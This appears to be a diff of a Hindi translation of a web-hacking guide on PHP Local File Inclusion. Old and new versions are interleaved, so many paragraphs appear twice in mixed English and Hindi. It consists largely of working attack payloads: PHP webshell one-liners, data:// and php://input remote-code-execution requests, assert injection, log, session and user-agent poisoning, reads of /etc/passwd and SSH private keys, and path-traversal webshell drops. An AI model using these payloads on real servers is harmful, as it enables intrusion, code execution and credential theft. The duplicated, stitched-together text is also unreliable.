- यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters के साथ), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने में सक्षम करेगा यह देखकर कि कब हम पर्याप्त transformations करके उसे hexadecimal character न बना दें। क्योंकि अगर hex है तो dechunk उसे नहीं हटायेगा और initial bomb php error करवा देगा।
- The codec **convert.iconv.UNICODE.CP930** हर अक्षर को अगले अक्षर में बदलता है (तो इस codec के बाद: a -> b)। इससे हमें पता चल सकता है कि पहला अक्षर उदाहरण के लिए `a` है क्योंकि अगर हम इस codec को 6 बार लागू करते हैं a->b->c->d->e->f->g तो वह अक्षर अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे नहीं हटायेगा और php error ट्रिगर होगा क्योंकि यह initial bomb के साथ गुणा करता है।
- शुरुआत में अन्य transformations जैसे **rot13** का उपयोग करके n, o, p, q, r जैसे अन्य chars को भी leak करना संभव है (और अन्य codecs का उपयोग करके अन्य अक्षरों को hex रेंज में लाया जा सकता है)।
- जब प्रारम्भिक char एक संख्या होती है तो उसे base64 encode करना ज़रूरी होता है और संख्या को leak करने के लिए पहले 2 अक्षरों को leak करना पड़ता है।
- अंतिम समस्या यह देखना है कि **how to leak more than the initial letter**। order memory filters जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके char के order को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
- और आगे के डेटा प्राप्त करने के लिए विचार यह है कि शुरुआत में **convert.iconv.UTF16.UTF16** के साथ **2 bytes of junk data at the beginning** जनरेट करें, फिर **UCS-4LE** लागू करके इसे अगले 2 bytes के साथ **pivot** कराएं, और d**elete the data until the junk data** (यह प्रारम्भिक टेक्स्ट के पहले 2 bytes को हटा देगा)। इसे तब तक जारी रखें जब तक आप उस चाही हुई बिट तक नहीं पहुँच जाते जिसे leak करना है।
पोस्ट में इसे स्वचालित रूप से करने के लिए एक टूल भी leaked किया गया: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
पोस्ट में इसे स्वचालित रूप से करने के लिए एक टूल भी leaked हुआ: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
यह wrapper उन file descriptors तक पहुँच की अनुमति देता है जो process ने open किए हुए हैं। संभवतः यह opened files की सामग्री को exfiltrate करने के लिए उपयोगी हो सकता है:
यह wrapper प्रक्रिया द्वारा खुले हुए file descriptors तक पहुँचने की अनुमति देता है। संभावित रूप से opened files की सामग्री को exfiltrate करने के लिए उपयोगी:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
आप **php://stdin, php://stdout और php://stderr** का उपयोग करके क्रमशः **file descriptors 0, 1 और 2** तक पहुँच सकते हैं (यह स्पष्ट नहीं कि यह attack में कैसे उपयोगी हो सकता है)
आप **php://stdin, php://stdout और php://stderr** का उपयोग करके क्रमशः **file descriptors 0, 1 और 2** तक पहुँच सकते हैं (यह किसी हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं)।
### zip:// and rar://
एक Zip या Rar फाइल अपलोड करें जिसमें अंदर PHPShell हो और उसे एक्सेस करें.\
rar protocol का दुरुपयोग करने के लिए इसे **विशेष रूप से सक्रिय** किया जाना चाहिए।
एक Zip या Rar फ़ाइल अपलोड करें जिसमें अंदर PHPShell हो और उसे एक्सेस करें.\
rar protocol को दुरुपयोग करने में सक्षम होने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**।
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
ध्यान दें कि यह प्रोटोकॉल php विन्यासों द्वारा प्रतिबंधित है **`allow_url_open`** और **`allow_url_include`**
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन **`allow_url_open`** और **`allow_url_include`** द्वारा प्रतिबंधित है
### expect://
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
अपना payload POST parameters में निर्दिष्ट करें:
अपने payload को POST parameters में निर्दिष्ट करें:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसे फंक्शन का उपयोग करता है, तब `.phar` फ़ाइल का उपयोग PHP कोड को चलाने के लिए किया जा सकता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दिखाता है:
जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसे फ़ंक्शन का उपयोग करता है, तो `.phar` फ़ाइल का उपयोग PHP कोड चलाने के लिए किया जा सकता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का तरीका दिखाता है:
```php
<?php
$phar = new Phar('test.phar');
@ -360,10 +360,16 @@ php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
एग्जीक्यूशन पर, एक फ़ाइल जिसका नाम `test.phar` होगा बनाई जाएगी, जिसे संभावित रूप से Local File Inclusion (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
यदि LFI केवल फ़ाइल पढ़ता है और फ़ाइल के भीतर के PHP कोड को execute नहीं करता — जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी functions के माध्यम से — तो deserialization vulnerability का शोषण करने की कोशिश की जा सकती है। यह vulnerability `phar` protocol के माध्यम से फ़ाइल पढ़ने से जुड़ी है।
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
`.phar` files के संदर्भ में deserialization vulnerabilities के शोषण को समझने के लिए, नीचे दिए गए दस्तावेज़ को देखें:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,74 +379,95 @@ phar-deserialization.md
### CVE-2024-2961
यह संभव था कि **any arbitrary file read from PHP that supports php filters** का दुरुपयोग कर के RCE प्राप्त किया जाए। विस्तृत विवरण [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षेप: PHP heap में एक **3 byte overflow** का दुरुपयोग कर के **alter the chain of free chunks** of anspecific size किया गया ताकि **write anything in any address** करने में सक्षम हुआ, इसलिए एक hook जोड़ा गया जो **`system`** को कॉल करे।\
यह संभव था कि अधिक php filters का दुरुपयोग करके specific sizes के लिए chunks को alloc किया जा सके।
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
यह संभव था कि PHP में php filters को सपोर्ट करने वाली **any arbitrary file read from PHP that supports php filters** का दुरुपयोग करके RCE प्राप्त किया जा सके। विस्तृत विवरण [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षेप में: PHP heap में एक **3 byte overflow** का दुरुपयोग करके किसी विशिष्ट आकार के free chunks की श्रृंखला को **alter the chain of free chunks** करने के लिए उकसाया गया ताकि किसी भी address में **write anything in any address** किया जा सके, इसलिए एक hook जोड़ा गया था जो **`system`** को कॉल करता था।\
अधिक php filters का दुरुपयोग करके विशिष्ट आकार के chunks को alloc करना संभव था।
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या एक अस्थायी फ़ाइल में लिखना (यह file inclusion attack में कैसे उपयोगी हो सकता है, स्पष्ट नहीं)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — लोकल फ़ाइलसिस्टम तक पहुँच
### और प्रोटोकॉल
और अधिक संभावित[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)** देखें:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या अस्थायी फ़ाइल में लिखता है (यह file inclusion attack में कैसे उपयोगी हो सकता है, स्पष्ट नहीं)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLs तक पहुँच
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLs तक पहुँच
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — संपीड़न स्ट्रीम्स
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले pathnames ढूँढना (यह कुछ भी printable नहीं लौटाता, इसलिए यहाँ ज्यादा उपयोगी नहीं)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — कंप्रेशन स्ट्रीम्स
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले pathnames खोजें (यह कुछ मुद्रनीय नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (किसी भी फ़ाइल पढ़ने के लिए उपयोगी नहीं)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (arbitrary files पढ़ने के लिए उपयोगी नहीं)
## LFI via PHP's 'assert'
PHP में 'assert' फ़ंक्शन से जुड़े LFI के जोखिम विशेष रूप से अधिक होते हैं, क्योंकि यह strings के अंदर का कोड निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है अगर input में directory traversal वर्ण जैसे ".." की जाँच की जा रही हो पर सही तरीके से sanitize नहीं किया जा रहा हो।
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
PHP में Local File Inclusion (LFI) का जोखिम विशेष रूप से तब अधिक होता है जब 'assert' function का उपयोग होता है, क्योंकि यह string के भीतर code execute कर सकता है। यह खासकर तब समस्या उत्पन्न करता है जब input जिसमें directory traversal characters जैसे ".." होते हैं, जाँचा तो जा रहा हो पर सही तरह से sanitize नहीं किया गया हो।
For example, PHP code might be designed to prevent directory traversal like so:
उदाहरण के लिए, PHP कोड directory traversal को रोकने के लिए इस तरह लिखा जा सकता है:
```bash
assert("strpos('$file', '..') === false") or die("");
```
हालाँकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। file contents पढ़ने के लिए इसका शोषण करने के लिए, एक attacker उपयोग कर सकता है:
हालाँकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। फ़ाइल की सामग्री पढ़ने के लिए इसका फायदा उठाने के लिए, एक attacker उपयोग कर सकता है:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
इसी तरह, arbitrary system commands चलाने के लिए, कोई उपयोग कर सकता है:
इसी तरह, किसी भी सिस्टम कमांड को निष्पादित करने के लिए, कोई उपयोग कर सकता है:
```plaintext
' and die(system("id")) or '
```
यह महत्वपूर्ण है कि इन payloads को **URL-encode** किया जाए।
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप किसी **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **फ़ाइल तक पहुँच** करेगा पर आप फ़ाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल `file()`), क्योंकि सामग्री दिखाई नहीं जाती।
> यह तकनीक उन मामलों में लागू होती है जहाँ आप किसी **PHP function** के **file path** को **control** करते हैं जो किसी फ़ाइल को **access** करेगा, लेकिन आप फ़ाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री दिखाई नहीं जाती।
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) यह बताया गया है कि कैसे एक blind path traversal को PHP filter के माध्यम से abuse करके **exfiltrate the content of a file via an error oracle** किया जा सकता है।
In [**यह शानदार पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) यह समझाया गया है कि कैसे एक blind path traversal को PHP filter के जरिए फ़ाइल की सामग्री को **exfiltrate** करने के लिए abuse किया जा सकता है via an **error oracle**।
सारांश में, यह तकनीक फ़ाइल की सामग्री को इतना **बड़ा** बना देने के लिए **"UCS-4LE" encoding** का उपयोग करती है कि उस फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **error** ट्रिगर कर दे।
सारांश के रूप में, यह तकनीक **"UCS-4LE" encoding** का उपयोग करके फ़ाइल की सामग्री को इतना बड़ा बना देती है कि फ़ाइल खोलने वाला **PHP function** एक **error** trigger कर दे।
फिर, पहले char को leak करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13**, और अंत में फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके **अन्य अक्षरों को शुरुआत में रखकर उन्हें leak किया जाता है**।
फिर, पहले char को leak करने के लिए filter **`dechunk`** का उपयोग किया जाता है, साथ ही **base64** या **rot13** जैसे अन्य filters के साथ, और अंत में filters **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके अन्य chars को शुरुआत में रखकर उन्हें leak किया जाता है।
**संभावित रूप से प्रभावित होने वाले फ़ंक्शन्स**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
तकनीकी विवरणों के लिए उल्लिखित पोस्ट देखें!
For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
जब server-side कोड जो फ़ाइलें ingest/uploads करता है destination path को user-controlled डेटा (उदा., filename या URL) से बनाता है बिना canonicalising और validating किए हुए, तो `..` segments और absolute paths intended directory से बाहर निकलकर arbitrary file write का कारण बन सकते हैं। यदि आप payload को किसी web-exposed directory के तहत रख पाते हैं, तो आम तौर पर webshell डालकर unauthenticated RCE मिल जाता है।
जब server-side कोड जो फ़ाइलें ingest/uploads करता है, destination path को user-controlled डेटा (जैसे filename या URL) से बनाता है बिना उसे canonicalise और validate किए, तो `..` segments और absolute paths intended directory से बाहर निकल कर arbitrary file write कर सकते हैं। यदि आप payload को किसी web-exposed directory में रख सकते हैं, तो आम तौर पर webshell drop करके unauthenticated RCE मिल जाता है।
Typical exploitation workflow:
- किसी endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और content को disk पर लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
- web-exposed directories निर्धारित करें। सामान्य उदाहरण:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- ऐसा traversal path बनाएं जो intended storage directory से बाहर निकल कर webroot में पहुँच जाए, और उसमें अपने webshell content को शामिल करें।
- dropped payload पर ब्राउज़ करें और कमांड्स execute करें।
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- जो vulnerable सर्विस यह write करती है वह non-HTTP port पर सुन सकती है (उदा., TCP 4004 पर JMF XML listener)। मुख्य web portal (विभिन्न पोर्ट) बाद में आपका payload serve करेगा।
- Java stacks पर, ये file writes अक्सर simple `File`/`Paths` concatenation के साथ implement होते हैं। canonicalisation/allow-listing का अभाव मुख्य flaw है।
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +493,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening जो इस क्लास के बग्स को रोकता है:
- एक canonical path पर resolve करें और सुनिश्चित करें कि यह allow-listed base directory का descendant हो।
- किसी भी path को अस्वीकार करें जिसमें `..`, absolute roots, या drive letters हों; generated filenames को प्राथमिकता दें।
Hardening that defeats this class of bugs:
- canonical path पर रिज़ॉल्व करें और सुनिश्चित करें कि यह allow-listed base directory की सबडायरेक्टरी है।
- किसी भी path को रिजेक्ट करें जिसमें `..`, absolute roots, या drive letters हों; generated filenames को प्राथमिकता दें।
- writer को low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
पहले समझाया गया है, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Apache/Nginx लॉग फ़ाइल के माध्यम से
यदि Apache या Nginx server include फ़ंक्शन के अंदर **vulnerable to LFI** है, तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** के अंदर या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को include करें
यदि Apache या Nginx सर्वर include function के अंदर **vulnerable to LFI** है, तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को include करें
> [!WARNING]
> ध्यान दें कि **यदि आप double quotes का उपयोग करते हैं** shell के लिए simple quotes की बजाय, तो double quotes string "_**quote;**_" में बदल दिए जाएंगे, **PHP वहाँ error देगा** और **कुछ भी execute नहीं होगा**।
> ध्यान दें कि **if you use double quotes** shell के लिए **simple quotes** की बजाय, double quotes string "_**quote;**_" में बदल दिए जाएंगे, **PHP वहां एक error फेंकेगा** और **कुछ भी execute नहीं होगा**।
>
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरह से लिखते हैं**, नहीं तो हर बार जब PHP लॉग फ़ाइल लोड करने की कोशिश करेगा तो error देगा और आपको दूसरी संभावना नहीं मिलेगी।
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरीके से लिखते हैं** वरना PHP हर बार लॉग फ़ाइल लोड करने की कोशिश में error देगा और आपको दूसरी अवसर नहीं मिलेगा।
यह अन्य logs में भी किया जा सकता है पर **सावधान रहें,** logs के अंदर का कोड URL encoded हो सकता है और इससे Shell खराब हो सकती है। header **authorisation "basic"** में "user:password" Base64 में होता है और यह logs में decoded होता है। PHPShell को इस header के अंदर डाला जा सकता है.\
अन्य संभावित log paths:
यह अन्य लॉग्स में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग्स के अंदर का कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकती है। header **authorisation "basic"** में Base64 में "user:password" होता है और यह लॉग्स के अंदर decode हो जाता है। PHPShell को इस header के अंदर insert किया जा सकता है.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -501,31 +528,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### ईमेल के माध्यम से
**एक मेल भेजें** एक आंतरिक अकाउंट (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता के मेल को इस पथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`** से include करने की कोशिश करें
**एक मेल भेजें** किसी आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता के मेल को ऐसे पाथ से include करने की कोशिश करें: **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\* के माध्यम से
1. बहुत सारी shells अपलोड करें (उदाहरण के लिए: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = PID of the process (can be brute forced) और $FD file descriptor है (can be brute forced too)
1. कई shells अपलोड करें (उदाहरण के लिए: 100)
2. इस URL को include करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रोसेस का PID (यह brute force किया जा सकता है) और $FD फाइल descriptor है (यह भी brute force किया जा सकता है)
### /proc/self/environ के माध्यम से
एक लॉग फाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें; यह /proc/self/environ फ़ाइल में परिलक्षित होगा
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### अपलोड के जरिए
यदि आप फ़ाइल अपलोड कर सकते हैं, तो बस उसमें shell payload inject कर दें (e.g : `<?php system($_GET['c']); ?>` ).
यदि आप फ़ाइल अपलोड कर सकते हैं, तो उसमें बस shell payload inject कर दें (उदा.: `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
फ़ाइल को पठनीय रखने के लिए सबसे अच्छा है कि इसे pictures/doc/pdf की metadata में inject किया जाए
फ़ाइल को पढ़ने योग्य बनाए रखने के लिए, सबसे अच्छा है कि चित्रों/doc/pdf के metadata में इंजेक्ट किया जाए
### ZIP फाइल अपलोड के माध्यम से
### ZIP फ़ाइल अपलोड के माध्यम से
एक compressed ZIP फाइल अपलोड करें जिसमें एक PHP shell शामिल हो और access करें:
एक ZIP फ़ाइल अपलोड करें जिसमें संपीड़ित PHP shell हो और एक्सेस करें:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -536,126 +563,131 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में स्टोर होते हैं।
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में स्टोर होते हैं
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
cookie को `<?php system('cat /etc/passwd');?>` पर सेट करें।
कुकी को `<?php system('cat /etc/passwd');?>` पर सेट करें
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI का उपयोग करके PHP session file को include करें
LFI का उपयोग करके PHP session फ़ाइल को शामिल करें
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh के जरिए
### Via ssh
अगर ssh सक्रिय है तो देखें कौन सा उपयोगकर्ता उपयोग में है (/proc/self/status & /etc/passwd) और कोशिश करें **\<HOME>/.ssh/id_rsa** तक पहुँचने की।
यदि ssh सक्रिय है तो जाँचें कौन सा user उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और कोशिश करें **\<HOME>/.ssh/id_rsa** तक पहुँचने की।
### **के जरिए** **vsftpd** _**लॉग्स**_
### **Via** **vsftpd** _**logs**_
FTP server vsftpd के लॉग _**/var/log/vsftpd.log**_ में स्थित होते हैं। उस स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद हो, और exposed vsftpd server तक पहुँच संभव हो, निम्नलिखित कदम लिए जा सकते हैं:
FTP server vsftpd के logs _**/var/log/vsftpd.log**_ पर स्थित हैं। ऐसी स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद है और exposed vsftpd server तक पहुँच संभव है, निम्नलिखित कदम लागू किए जा सकते हैं:
1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload इंजेक्ट करें।
2. इंजेक्शन के बाद, LFI का उपयोग करके सर्वर लॉग्स को _**/var/log/vsftpd.log**_ से प्राप्त करें।
1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload inject करें।
2. Injection के बाद, LFI का उपयोग करके सर्वर लॉग्स _**/var/log/vsftpd.log**_ प्राप्त करें।
### php base64 filter के जरिए (using base64)
### Via php base64 filter (using base64)
जैसा कि [यह](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख दिखाता है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension check को bypass करने के लिए कर सकते हैं: अगर आप ऐसा base64 दें जो ".php" पर खत्म होता है, तो यह "." को अनदेखा करके base64 में "php" जोड़ देगा। यहाँ एक example payload है:
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article में दिखाया गया है, PHP base64 filter सिर्फ Non-base64 को ignore कर देता है। आप इसका उपयोग file extension check bypass करने के लिए कर सकते हैं: अगर आप ऐसा base64 प्रदान करते हैं जो ".php" पर खत्म होता है, तो यह "." को अनदेखा कर देगा और base64 के साथ "php" जोड़ देगा। यहाँ एक उदाहरण payload है:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
### php filters के माध्यम से (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)समझाता है कि आप **php filters to generate arbitrary content** का उपयोग आउटपुट के रूप में कर सकते हैं। जिसका मूलतः अर्थ यह है कि आप include के लिए **generate arbitrary php code** कर सकते हैं **without needing to write** it into a file.
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताती है कि आप **php filters to generate arbitrary content** का उपयोग कर सकते हैं। जिसका मूलतः मतलब है कि आप include के लिए **generate arbitrary php code** बना सकते हैं **without needing to write** उसे किसी फ़ाइल में।
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
### segmentation fault के माध्यम से
एक फाइल अपलोड करें जो `/tmp` में temporary के रूप में स्टोर होगी, फिर उसी request में एक segmentation fault ट्रिगर करें, और तब temporary फाइल हटाई नहीं जाएगी और आप उसे खोज सकते हैं।
**Upload** एक फ़ाइल जो `/tmp` में **temporary** के रूप में स्टोर होगी, फिर उसी **same request,** में एक **segmentation fault** ट्रिगर करें, और फिर वह **temporary file won't be deleted** होगी और आप उसे खोज सकते हैं।
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Nginx temp file storage के माध्यम से
यदि आप एक **Local File Inclusion** पाते हैं और **Nginx** PHP के सामने चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:
यदि आपको **Local File Inclusion** मिला है और **Nginx** PHP के आगे चल रहा है तो आप निम्न तकनीक के साथ RCE प्राप्त कर सकते हैं:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
